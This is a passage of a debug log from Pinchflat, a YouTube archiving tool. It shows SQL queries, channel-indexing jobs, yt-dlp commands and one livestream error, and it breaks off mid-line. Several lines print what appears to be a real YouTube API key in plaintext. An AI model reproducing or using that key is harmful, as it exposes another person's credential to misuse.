QUERY OK source="media_items" db=0.4ms idle=212.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 17:27:34.697 [debug] QUERY OK source="tasks" db=0.1ms idle=213.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268481, 4, ~U[2026-10-09 22:27:34Z], ~U[2026-10-09 22:27:34Z]] 17:27:34.698 [info] {"args":{"id":4},"id":5268442,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":214635,"event":"job:stop","queue_time":474333,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:38.501 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c9/8d/c98dd8828f4f9964ee6fff1d49f4c0df2662b3ac4e1fa49b1a4866d24960168a.json --sleep-requests 80 --sleep-interval 79 --sleep-subtitles 66 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 17:27:38.501 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 17:27:38.502 [debug] QUERY OK source="settings" db=0.1ms idle=155.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:38.502 [debug] QUERY OK source="settings" db=0.0ms idle=155.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:38.502 [debug] Running yt-dlp command for action: get_media_attributes 17:27:38.502 [debug] QUERY OK source="settings" db=0.0ms idle=155.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:38.502 [debug] QUERY OK source="settings" db=0.0ms idle=155.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:38.502 [debug] QUERY OK source="settings" db=0.0ms idle=21.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:38.502 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/50/80/5080a2ea51c3751563bd834d3d71b124afe72292da1f35d97d4a300ab3d0413e.json --sleep-requests 90 --sleep-interval 68 --sleep-subtitles 75 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:27:45.999 [info] {"source":"oban","duration":10096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:27:56.505 [info] {"args":{"id":44},"id":5268443,"meta":{},"system_time":1791584876505162765,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:56.505 [debug] QUERY OK source="sources" db=0.1ms idle=158.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [44] 17:27:56.505 [debug] QUERY OK source="settings" db=0.1ms idle=158.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:56.505 [debug] QUERY OK source="media_profiles" db=0.1ms idle=158.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:56.506 [debug] QUERY OK source="settings" db=0.5ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:56.506 [debug] Fetching recent media IDs from YouTube API for playlist: UUqppg7votukolx20yh3H9kQ 17:27:56.506 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:56.506 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:56.600 [debug] QUERY OK source="media_items" db=0.4ms idle=94.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [44, "qfSDhNLiN_U", "_qzU0mb7Ubw", "QLNxc6g0pjo", "vwTIQlSCb4M", "pRUNSy_tFkM", "M5qGSZKeaMA", "EVq8Vskx_Dw", "iQJO80qA0Wk", "o8BzeOf-smA", "fiS-okUK7KE", "UIN2Q2u1A8o", "vSBr3WFxJhY", "9BepF3pfqTY", "4qt4YY8m6fg", "JYJoETDh4ZU", "2ASOQLFr7-M", "fx5N1fY3Fsg", "qWvRe1u0AL0", "Okhp89ilgaY", "c9NY88Hf1Ns", "so6XWjuMJCg", "ejPqAJ0dHwY"] 17:27:56.601 [debug] QUERY OK source="media_items" db=0.1ms idle=95.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [44] 17:27:56.602 [debug] QUERY OK source="tasks" db=0.1ms idle=95.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268482, 44, ~U[2026-10-09 22:27:56Z], ~U[2026-10-09 22:27:56Z]] 17:27:56.602 [info] {"args":{"id":44},"id":5268443,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":97177,"event":"job:stop","queue_time":518908,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:57.506 [info] {"args":{"id":7},"id":5268444,"meta":{},"system_time":1791584877506183096,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:57.506 [debug] QUERY OK source="sources" db=0.1ms idle=904.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 17:27:57.506 [debug] QUERY OK source="settings" db=0.0ms idle=904.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:57.506 [debug] QUERY OK source="media_profiles" db=0.1ms idle=898.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:57.507 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:57.507 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 17:27:57.507 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:57.507 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:57.624 [debug] QUERY OK source="media_items" db=0.7ms idle=117.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "YJYGJQeq9XA", "bMMG9TqH7Cg", "ivwGdPaEKgw", "MSim6wHctJs", "a-pw6MLvxG4", "iJFXHSikXAw", "cX4nq3oWHEs", "sx0pL-IG9ZY", "I18RjNvKBb0", "w3xqsMv6T_k", "UJLnAxofL4w", "461UOs0Bvpo", "eeeIX-jPCfU", "I_dqiK6FEUw", "1F0KOBiLPJY", "GOY1nrnGFoQ", "49AR2G__gbY", "moBfszFIlZU", "ooneAa4P_DI", "5qJ4lBwxSHs", "EGIq02dD1_o", "ud56dWtJZuI", "wQxngUFOoqY", "Moi8q2spry8", "tdkSl_8BMDM", "3gZQa8wvPyQ", "A-WuDVu8Aec", "inZfAQX-ikk", "A5fjsYyBYeM", "RHbqw8PpDrk", "9BfpQaUdIKA", "vS959lEUED0", "3HO-1R_ye40", "cWrGe7BDnHY", "Hih6I3DOPZQ", "BMNtRwFDB6s", "3IzWVKqW8LA", "1OJcqhrA0aE", "xfk3OnaKJRU", "W5PifMAnoJY", "zR4OJ9_S5mU", "KWWxrVzMk-s", "WNGbL6zTXg0", "XnuH8t5MmWU", "zNYsw-cW8v8", "vq4TbSxK0P0", "pgCBgctN_VU", "2SM3dlbe2S8", "vwLSANJYMf4", ...] 17:27:57.627 [debug] QUERY OK source="media_items" db=2.3ms idle=118.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 17:27:57.628 [debug] QUERY OK source="tasks" db=0.1ms idle=121.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268483, 7, ~U[2026-10-09 22:27:57Z], ~U[2026-10-09 22:27:57Z]] 17:27:57.628 [info] {"args":{"id":7},"id":5268444,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":122088,"event":"job:stop","queue_time":392309,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:57.634 [info] {"args":{"id":25},"id":5268445,"meta":{},"system_time":1791584877634259251,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:57.634 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:27:57.634 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:57.634 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:57.635 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:57.635 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 17:27:57.635 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:57.635 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:57.883 [debug] QUERY OK source="media_items" db=0.6ms idle=248.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "hsY3IJVKOcw", "a0YlDUdNjqc", "62hl5tFrodQ", "gStpYu84aRQ", "uKW8Td2gynY", "TpU_mB8MO4k", "EzkSQzP0ExQ", "kCuY95F6R40", "Xu7wneIzhPM", "IzNFKW9EIuA", "sZ1xZHqxah4", "55BSBuorfhQ", "Aw2XEiN1VNY", "IiH_inHowI8", "2uqbR-ntKdE", "0aa6XyEQgFY", "fMN1zdsyVTg", "vjcS8RKa194", "ocYp07IRgxQ", "_9adBz4FN5Y", "IYDwHD9p_qQ", "aSYbsUlefuk", "CZY_iUWtd5Y", "r3zmwPNRdPc", "_ZAEcUvqFnk", "ba1BfC-NO7s", "3gg3-t2CUn4", "pAwv29cLSq0", "GzJ7TaJIhhs", "Bc5RIeIjZT8", "t9XtC85e-tQ", "InaGX4XhPk0", "HSVmPi_p_GQ", "3Bp8fDX_9pY", "2xy8vg2WLz4", "bG0VnCUZm-s", "NIDy6_QXX-E", "Lhoi-gx3O9I", "6jLIm8Bt2dA", "8rf4YP-OlFs", "llaLuaNTA-Q", "QhxZ2JujRLs", "MEdMneWCqFA", "t0kErQN5pbM", "K7j9ONAplwY", "4rEcECZeyoE", "RwIhXqA7tQg", "_v18JX0Nwvk", "kZR4QlyyBO4", ...] 17:27:57.885 [debug] QUERY OK source="media_items" db=1.4ms idle=249.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 17:27:57.886 [debug] QUERY OK source="tasks" db=0.1ms idle=251.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268484, 25, ~U[2026-10-09 22:27:57Z], ~U[2026-10-09 22:27:57Z]] 17:27:57.887 [info] {"args":{"id":25},"id":5268445,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":252624,"event":"job:stop","queue_time":388277,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:58.508 [info] {"args":{"id":38},"id":5268446,"meta":{},"system_time":1791584878508247646,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:58.508 [debug] QUERY OK source="sources" db=0.1ms idle=621.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 17:27:58.508 [debug] QUERY OK source="settings" db=0.1ms idle=621.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:58.509 [debug] QUERY OK source="media_profiles" db=0.1ms idle=615.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:58.509 [debug] QUERY OK source="settings" 